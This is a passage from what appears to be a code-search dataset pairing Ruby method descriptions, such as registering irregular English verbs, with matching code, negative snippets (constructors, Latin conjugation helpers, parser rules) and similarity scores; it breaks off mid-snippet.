instance_variable_set(\"@#{key}\", value)\n end\n end\n end", "def initialize(name)\n super(name: name)\n self.hit_points = 10\n self.charm_points = 10\n self.house_id = House.all.sample.id\n self.wand = Character.all.select{|c| !c.wand.start_with?(\" \") }.sample.wand\n self.pet = [\"cat\", \"owl\", \"toad\", \"rat\"].sample\n self.patronus = MY_ANIMAL_FAKER.sample\n @classmates_faced = []\n self.friends = 0\n self.victories = 0\n end", "def initialize(first_name, last_name, year_of_birth) # => states\n @first_name = first_name # => instences variable\n @last_name = last_name # => instences variable\n @year_of_birth = year_of_birth # => instences variable\n @job_title = 'Baby'\n end", "def initialize()\n @memory = 0\n @variables = Array.new\n @nombres = Array.new\n @salidaF = \"\"\n end", "def initialize(attrs = {})\n attrs.each_pair do |attr, value|\n self.instance_variable_set(\"@#{attr}\", value)\n end\n end", "def initialize(options = {})\n options.instance_variables_set_to(self)\n end", "def initialize_classes_and_modules\n @classes = {}\n @modules = {}\n end", "def set_initial_values\n now = Time.now\n @first_seen ||= now\n @last_activity ||= now\n @total_connections ||= 0\n @total_time ||= 0\n @money ||= 0\n @donations ||= 0\n @rank ||= 0\n @colour ||= :ansi\n @muffled ||= false\n @history ||= History.new\n @aliases ||= {}\n @ignoring ||= {}\n @ignoring_ips ||= {}\n @drug_strength ||= 0\n @alcohol_units ||= 0\n @onduty = @onduty.nil? ? true : @onduty\n end", "def my_initialize\n\t\t@classes = 1\n\t\t@toys = 0\n\t\t@books = 0\t\t\n\t\tsrand seed.to_i\n\t\t@location = nil\n\t\tnext_spot()\n\t\t@random_number = 0\n\t\ttrue\n\tend", "def initialize(props)\n props.each do |key, value|\n self.instance_variable_set('@' + key.to_s, value)\n end\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize\n\t\t@age = 10#age aqui es una variable de instancia\n\tend", "def initialize(nombre,edad) #--> se crean los metodos, y se inicializan para darles un valor al crear el objeto \n @nombre = nombre #-->la variable local nombre es asignada a la var. de instancia @nombre, al realizar esto cada instancia tendra un valor propio.\n @edad = edad #--> lo mismo para edad\n\nend", "def initialize\n @instance_variable = 3 # Available in instance methods\n end", "def initialize(params = {})\n params.each { |k,v| instance_variable_set \"@\" + k.to_s,v}\n load if @auto_load\n end", "def initialize(name, email, phone) #this is used to initialize varriables\n @name = name\n @email = email\n @phone = phone\n end", "def initialize(name, email, phone) #this is used to initialize varriables\n @name = name\n @email = email\n @phone = phone\n end", "def initialize #everytie an instance of the class is initialized, we should push it into the @@all class variable\n @@all << self\n end", "def initialize\n\n\tend", "def initialize\n\n\tend", "def initialize\n @gender = \"male\"\n @age = 37\n @color = \"black\"\n end", "def init_vars\n FLAGS.each do |position, flag|\n flag_set = ((@bits >> position) & 0x1) == 1\n instance_variable_set \"@#{flag}\", flag_set\n end\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize(attributes = {})\n @attributes = defaults.merge!(attributes)\n\n @attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize(attributes = {})\n @attributes = defaults.merge!(attributes)\n\n @attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize(attributes = {})\n @attributes = defaults.merge!(attributes)\n\n @attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize(inst_var)\n @inst_var = inst_var # instance variables that are initialized when new instance is created\n end", "def initialize(vars)\n @vars = vars # hash table of attribute_name/value pairs\n @hitbreak = false\n @retval = true\n @lib = Lib.new\n end", "def initialize(sugar, butter)\n # Variables with @ in front of their name are called\n # instance variables. They only exist inside of the instance\n # and can be used by all instance methods.\n @sugar = sugar\n @butter = butter\n puts \"Cooking is being created...\"\n \n end", "def fill_instance_vars_from_rubyserial(instance_vars)\n instance_vars.each do |var_name, value|\n instance_variable_set(var_name.to_sym, value)\n end\n end", "def initialize(sugar=10, flour=15)\n # a Class variable is defined using @@ symbools\n # Every instance of this class and the class itself will have access to this class varaible.\n # use it to share data between instances of a class.\n @@color = 'Brown'\n @sugar = sugar\n @flour = flour\n p \"created a 🍪\"\n p eat\n end", "def initialize\n \n end", "def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def initialize(attrs = {})\n @attrs = attrs || {}\n @attrs.each do |key, value|\n self.class.class_eval { attr_reader key }\n instance_variable_set(\"@#{key}\", value)\n end\n end", "def add_c_variables c_parser\n filename = c_parser.top_level.relative_name\n\n @c_class_variables[filename] = make_variable_map c_parser.classes\n\n @c_singleton_class_variables[filename] = c_parser.singleton_classes\n end", "def initialize(opts = {})\n [:klass, :id, :name, :accessor, :type, :object].each do |iv|\n instance_variable_set(\"@#{iv}\", opts[iv])\n end\n end", "def initialize\n\t\t\n\tend" ]
[ "0.76556176", "0.72657776", "0.7223675", "0.71313465", "0.70519733", "0.697794", "0.68869734", "0.688188", "0.6738703", "0.6734629", "0.67098147", "0.6674511", "0.6652949", "0.66485995", "0.65990674", "0.6592449", "0.6578748", "0.6561843", "0.6550256", "0.65364623", "0.65364623", "0.65364623", "0.65364623", "0.653331", "0.6521244", "0.65089756", "0.64919966", "0.6485697", "0.6485089", "0.6469957", "0.6457144", "0.6454827", "0.64454967", "0.6439343", "0.64341617", "0.64235485", "0.64171916", "0.6413115", "0.6408641", "0.6400159", "0.6389729", "0.63601655", "0.63601655", "0.63601655", "0.63601655", "0.63601655", "0.6356101", "0.6351919", "0.6351795", "0.634916", "0.6342404", "0.6336929", "0.6330217", "0.63300055", "0.63296425", "0.63292354", "0.6318411", "0.6317147", "0.6314995", "0.63114786", "0.63114786", "0.63114786", "0.6309005", "0.63079613", "0.6300793", "0.629981", "0.6292988", "0.6292988", "0.62887317", "0.62833047", "0.62833047", "0.62805134", "0.6277884", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.62743115", "0.6273956", "0.6273956", "0.6273956", "0.6272153", "0.62711376", "0.6259536", "0.6254033", "0.62502617", "0.6238866", "0.6234132", "0.6234132", "0.6234132", "0.6234132", "0.62330115", "0.6224112", "0.62215304", "0.6220496" ]
0.0
-1
Determines irregular verbs from the expression Params: infinitive, the given verb preterite, denote events that took place in the past past_participle, form of a verb, ending in 'ed' &blk, block of code that may be run
def irregular(infinitive, preterite = nil, past_participle = nil, &blk) if block_given? # create new Verb object with infinitive and &blk irregular = ::Verbs::Verb.new infinitive, &blk else unless preterite && past_participle raise ArgumentError, 'Standard irregular verbs must specify preterite and past participle forms' end # create new Verb object with infinitive, preterite and past_participle irregular = ::Verbs::Verb.new infinitive, preterite: preterite, past_participle: past_participle end @irregulars[infinitive] = irregular end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def past_participle(infinitive)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, derivative: :participle)\n else\n regular_preterite_for infinitive\n end\n end", "def past(infinitive, person, plurality, mood)\n if (verb = conjugations.irregulars[infinitive])\n conjugate_irregular(verb, tense: :past, person: person, plurality: plurality, mood: mood)\n else\n regular_preterite_for infinitive\n end\n end", "def passive_voice_indicative_mood_pastperfect_tense# {{{\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PAST_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_pastperfect_tense]}\n )\n end", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end", "def passive_voice_indicative_mood_futureperfect_tense# {{{\n return TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_FUTURE_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_futureperfect_tense] }\n )\n end", "def verbs\n pos 'VERB'\n end", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def find(any_verb_form)\n end", "def regular_ending(verb)\n verb[-2..-1]\n end", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def passive_voice_subjunctive_mood_pastperfect_tense# {{{\n count = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PLUPERF_PAST_ENDINGS.map do |ending|\n count += 1\n (count <= 2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def active_voice_indicative_mood_pastperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_PAST_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_pastperfect_tense] }\n end", "def active_voice_subjunctive_mood_pastperfect_tense# {{{\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \"issē\"\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\n )\n end", "def ingverb; end", "def gerund_verb?\n tag == \"VBG\" && tokenized != \"being\"\n end", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def edge_stmt\n\t\tputs \"Start recognizing an edge statement\"\n\t\tedgeRHS\n\t\tif(@tokens[@counter].type == @LBRACK)\n\t\t\tattr_list\n\t\tend\n\t\tif(@tokens[@counter].type == @SEMI)\n\t\t\tputs \"Finish recognizing an edge statement\"\n\t\telse\n\t\t\tabort( \"Error: expecting ; or edge, but found: init\")\n\t\tend \n\tend", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def is_verb(token)\n _is_in(token, @verb_tags)\n end", "def present_participle(infinitive)\n if infinitive.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{CONSONANTS_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(infinitive.to_sym)\n return present_participle_with_doubled_terminal_consonant_for infinitive\n end\n\n case infinitive.to_s\n when /c$/\n \"#{infinitive}k\"\n when /(^be|ye|oe|nge|ee)$/\n infinitive.to_s\n when /ie$/\n infinitive.to_s.gsub(/ie$/, 'y')\n when /#{VOWEL_PATTERN}#{CONSONANT_PATTERN}e$/, /ue$/\n infinitive.to_s[0..-2]\n else # rubocop:disable Lint/DuplicateBranch\n infinitive.to_s\n end.dup.concat('ing').to_sym\n end", "def get_verbs\n @verbs ||= self.verbs\n end", "def verb\n verb_path[0] if verb_path\n end", "def active_voice_indicative_mood_futureperfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [Linguistics::Latin::Verb::LatinVerb::APERF_FUTURE_ENDINGS.collect{|x| substem+x}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_futureperfect_tense] }\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end", "def active_voice_indicative_mood_perfect_tense# {{{\n substem = first_person_perfect[0..-2]\n return TenseBlock.new [first_person_perfect.to_s, Linguistics::Latin::Verb::LatinVerb::APERF_ENDINGS.collect{|x| substem+x.to_s}].flatten,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_indicative_mood_perfect_tense] }\n end", "def event_to_verb\n EVENT_TO_VERB[activity.event] || activity.event.upcase\n end", "def process_defn exp\n return exp unless @current_method\n process_all exp.body\n end", "def interpret(expression)\n \t\tresult = [\"Query Result: \"]\n\t\tmainQuery = ' '\n\t\tsubQuery = ' '\n\t\tforUsed = false\n\t\tsearchString = nil\n\t\tsearchStarted = false\n\t\tsearchEnded = false\n\n\t\ttokens = expression.split(' ')\n\t\tfor currentToken in tokens\n \t\t\tif currentToken == \"show\"\n \t\t\t\tnext\n\t\t\tend\n\n\t\t\t#//show in all queries, not really used\n\t\t\tif currentToken == \"title\"\n \t\t\t\tif mainQuery == ' '\n \t\t\t\t\tmainQuery = 'T'\n\t\t\t\telsif forUsed and subQuery == ' '\n \t\t\t\t\t\tsubQuery = 'T'\n\t\t\t\tend\n\t\t\telsif currentToken == \"actor\"\n \t\t\t\tif mainQuery == ' '\n \t\t\t\t\tmainQuery = 'A'\n\t\t\t\telsif forUsed and subQuery == ' '\n \t\t\t\t\t\tsubQuery = 'A'\n\t\t\t\tend\n\n\t\t\telsif currentToken == 'for'\n \t\t\t\tforUsed = true\n\n\t\t\telsif searchString == nil and subQuery != ' ' and currentToken.start_with?(\"<\")\n \t\t\t\tsearchString = currentToken\n\t\t\t\tsearchStarted = true\n\t\t\t\tif currentToken.end_with?(\">\")\n \t\t\t\t\tsearchEnded = true \n\t\t\t\tend\n\n\t\t\telsif searchStarted and not searchEnded\n \t\t\t\tsearchString += \" \" + currentToken\n\t\t\t\tif currentToken.end_with?(\">\")\n\t\t\t\t\tsearchEnded = true \n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n\t\t#//remove <>\n\t\tif searchString != nil\n\t\t\tsearchString = searchString.slice(1..-2)\n\t\t\t#searchString = searchString.substring(1,(searchString.length() - 1)) \n\t\tend\n\n\t\texpr = nil\n\t\tif mainQuery == 'A'\n \t\t\tif subQuery == 'T'\n \t\t\t\texpr = DvdActorTitleExpression.new(searchString) \n\t\t\telse\n \t\t\t\texpr = DvdActorExpression.new()\n\t\t\tend\n\t\telsif mainQuery == 'T'\n \t\t\tif subQuery == 'A'\n \t\t\t\texpr = DvdTitleActorExpression.new(searchString) \n\t\t\telse\n \t\t\t\texpr = DvdTitleExpression.new()\n\t\t\tend\n\t\telse\n \t\t\treturn str(result)\n\t\tend\n\n\t\tresult.push(expr.interpret(@ctx))\n\t\tresult.join('')\n\tend", "def verb\r\n self.class.verb\r\n end", "def verb?\n !verb.nil?\n end", "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end", "def get_verb_description()\n v = (self.must_insert? ? I18n.t(:must_insert, :scope => [:schedule]).upcase : '')\n v = v + \"/ \" if (v != \"\") and self.must_move?\n v = v + ( (self.must_move?) ? I18n.t(:must_move, :scope => [:schedule]).upcase : '' )\n v = v + \"/ \" if (v != \"\") and self.must_call? and (self.must_move? or self.must_insert?)\n v = v + ( (self.must_call?) ? I18n.t(:must_call, :scope => [:schedule]).upcase : '' )\n v\n end", "def engtagger_lookup sentence\n nouns, verbs = tag_sentence(sentence)\n sentence.words.graph do |word|\n pos = case word\n when ->(w){ verbs.include? w }\n \"verb\"\n when ->(w){ nouns.include? w }\n \"noun\"\n else\n \"unknown\"\n end\n [word, [pos]]\n end\n end", "def test_incomplete_semantic_hoisted_context\n equeue = ErrorQueue.new\n ErrorManager.set_error_listener(equeue)\n g = Grammar.new(\"parser grammar t;\\n\" + \"a : b | B;\\n\" + \"b : {p1}? B | B ;\")\n expecting = \".s0-B->:s1=>1\\n\"\n check_decision(g, 1, expecting, Array.typed(::Java::Int).new([2]), Array.typed(::Java::Int).new([1, 2]), \"B\", Array.typed(::Java::Int).new([1]), nil, 3, false)\n end", "def nested_action!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 52)\n\n \n # - - - - main rule block - - - -\n # at line 552:2: '{' ( options {greedy=false; k=2; } : NESTED_ACTION | SL_COMMENT | ML_COMMENT | ACTION_STRING_LITERAL | ACTION_CHAR_LITERAL | ~ '\\\\\\\\' | '\\\\\\\\' . )* '}'\n match(?{)\n # at line 553:2: ( options {greedy=false; k=2; } : NESTED_ACTION | SL_COMMENT | ML_COMMENT | ACTION_STRING_LITERAL | ACTION_CHAR_LITERAL | ~ '\\\\\\\\' | '\\\\\\\\' . )*\n loop do #loop 13\n alt_13 = 8\n alt_13 = @dfa13.predict(@input)\n case alt_13\n when 1\n # at line 554:4: NESTED_ACTION\n nested_action!\n\n when 2\n # at line 555:4: SL_COMMENT\n sl_comment!\n\n when 3\n # at line 556:4: ML_COMMENT\n ml_comment!\n\n when 4\n # at line 557:4: ACTION_STRING_LITERAL\n action_string_literal!\n\n when 5\n # at line 558:4: ACTION_CHAR_LITERAL\n action_char_literal!\n\n when 6\n # at line 559:4: ~ '\\\\\\\\'\n if @input.peek(1).between?(0x0000, ?[) || @input.peek(1).between?(?], 0x00FF)\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n when 7\n # at line 560:5: '\\\\\\\\' .\n match(?\\\\)\n match_any\n\n else\n break #loop 13\n end\n end\n match(?})\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 52)\n\n end", "def sentences\n case @user.mode\n when UserActionMode::NORMAL\n normal\n when UserActionMode::TOP\n top\n when UserActionMode::WORST\n worst\n else \n raise \"ERROR: no such pattern\"\n end\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def expr\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 13 )\n\n begin\n # at line 53:11: term ( ( ( PLUS | MINUS ) ) ( term ) )*\n @state.following.push( TOKENS_FOLLOWING_term_IN_expr_541 )\n term\n @state.following.pop\n # at line 53:16: ( ( ( PLUS | MINUS ) ) ( term ) )*\n while true # decision 16\n alt_16 = 2\n look_16_0 = @input.peek( 1 )\n\n if ( look_16_0.between?( PLUS, MINUS ) )\n alt_16 = 1\n\n end\n case alt_16\n when 1\n # at line 53:17: ( ( PLUS | MINUS ) ) ( term )\n # at line 53:17: ( ( PLUS | MINUS ) )\n # at line 53:18: ( PLUS | MINUS )\n # at line 53:18: ( PLUS | MINUS )\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0 == PLUS )\n alt_15 = 1\n elsif ( look_15_0 == MINUS )\n alt_15 = 2\n else\n raise NoViableAlternative( \"\", 15, 0 )\n end\n case alt_15\n when 1\n # at line 53:20: PLUS\n match( PLUS, TOKENS_FOLLOWING_PLUS_IN_expr_547 )\n # --> action\n agc_3(['+','-'])\n # <-- action\n # --> action\n agc_2('+')\n # <-- action\n\n when 2\n # at line 53:57: MINUS\n match( MINUS, TOKENS_FOLLOWING_MINUS_IN_expr_553 )\n # --> action\n agc_3(['+','-'])\n # <-- action\n # --> action\n agc_2('-')\n # <-- action\n\n end\n\n # at line 53:95: ( term )\n # at line 53:96: term\n @state.following.push( TOKENS_FOLLOWING_term_IN_expr_560 )\n term\n @state.following.pop\n # --> action\n agc_3(['+','-'])\n # <-- action\n\n\n else\n break # out of loop for decision 16\n end\n end # loop for decision 16\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 13 )\n\n end\n \n return \n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def parse_expression\r\n parse_term\r\n while(@cur_token.kind == :OR)\r\n accept_it\r\n parse_term\r\n end\r\n end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def test_incomplete_semantic_hoisted_context2\n equeue = ErrorQueue.new\n ErrorManager.set_error_listener(equeue)\n g = Grammar.new(\"parser grammar t;\\n\" + \"a : b | B;\\n\" + \"b : {p1}? B | B D ;\")\n expecting = \".s0-B->:s1=>1\\n\"\n check_decision(g, 1, expecting, Array.typed(::Java::Int).new([2]), Array.typed(::Java::Int).new([1, 2]), \"B\", Array.typed(::Java::Int).new([1]), nil, 3, false)\n end", "def _lex_from_state_actions; end", "def _lex_from_state_actions; end", "def _lex_from_state_actions; end", "def _lex_from_state_actions; end", "def verbs\n (@verb.downcase.presence || 'get').split('|')\n end", "def verb(route)\n route.verb.source.gsub(/[$^]/, '')\n end", "def expressions; end", "def verb(n=-1)\n\t verb = \"verb\"\n\t verb.concat(\" #{n}\") if n >= 0\t \n\t @sock.cmd(\"String\" => verb , \"Match\" => /(SUCCESS:.*\\n|ERROR:.*\\n|END.*\\n)/)\n end", "def test_verse_range_and_separated_verse\n text = 'Ruth 2,1-3.11'\n t1, t2 = text.split(dot)\n assert_parsed_ast_for_text [pass(text: t1, b1: :Ruth, c1: 2, v1: 1, b2: :Ruth, c2: 2, v2: 3), dot, pass(text: t2, b1: :Ruth, c1: 2, v1: 11, b2: :Ruth, c2: 2, v2: 11)], text\n end", "def message\n verb\n end", "def exp\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n __ADDITIONSUBSTRACTIONOPERATORS11__ = nil\n\n begin\n # at line 726:5: term ( ADDITIONSUBSTRACTIONOPERATORS term )*\n @state.following.push( TOKENS_FOLLOWING_term_IN_exp_1113 )\n term\n @state.following.pop\n # at line 726:10: ( ADDITIONSUBSTRACTIONOPERATORS term )*\n while true # decision 27\n alt_27 = 2\n look_27_0 = @input.peek( 1 )\n\n if ( look_27_0 == ADDITIONSUBSTRACTIONOPERATORS )\n alt_27 = 1\n\n end\n case alt_27\n when 1\n # at line 726:11: ADDITIONSUBSTRACTIONOPERATORS term\n __ADDITIONSUBSTRACTIONOPERATORS11__ = match( ADDITIONSUBSTRACTIONOPERATORS, TOKENS_FOLLOWING_ADDITIONSUBSTRACTIONOPERATORS_IN_exp_1116 )\n # --> action\n #Regla 2 GC\n @stack_operators.push(__ADDITIONSUBSTRACTIONOPERATORS11__.text)\n \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_term_IN_exp_1143 )\n term\n @state.following.pop\n # --> action\n #Regla 4 GC / VS\n if(@stack_operators.last == '+' or\n @stack_operators.last == '-' or\n @stack_operators.last == '||' ) then\n operator = @stack_operators.pop\n operand_b = @stack_operands.pop\n operand_a = @stack_operands.pop\n result = get_avail\n generate(operator, operand_a, operand_b, result)\n free_avail(operand_a)\n free_avail(operand_b)\n free_avail_const(operand_a)\n free_avail_const(operand_b)\n @stack_operands.push(result)\n @stack_types.push(resulting_type(@stack_types.pop, @stack_types.pop, operator))\n end\n \n # <-- action\n\n else\n break # out of loop for decision 27\n end\n end # loop for decision 27\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n end\n \n return \n end", "def _lex_actions; end", "def 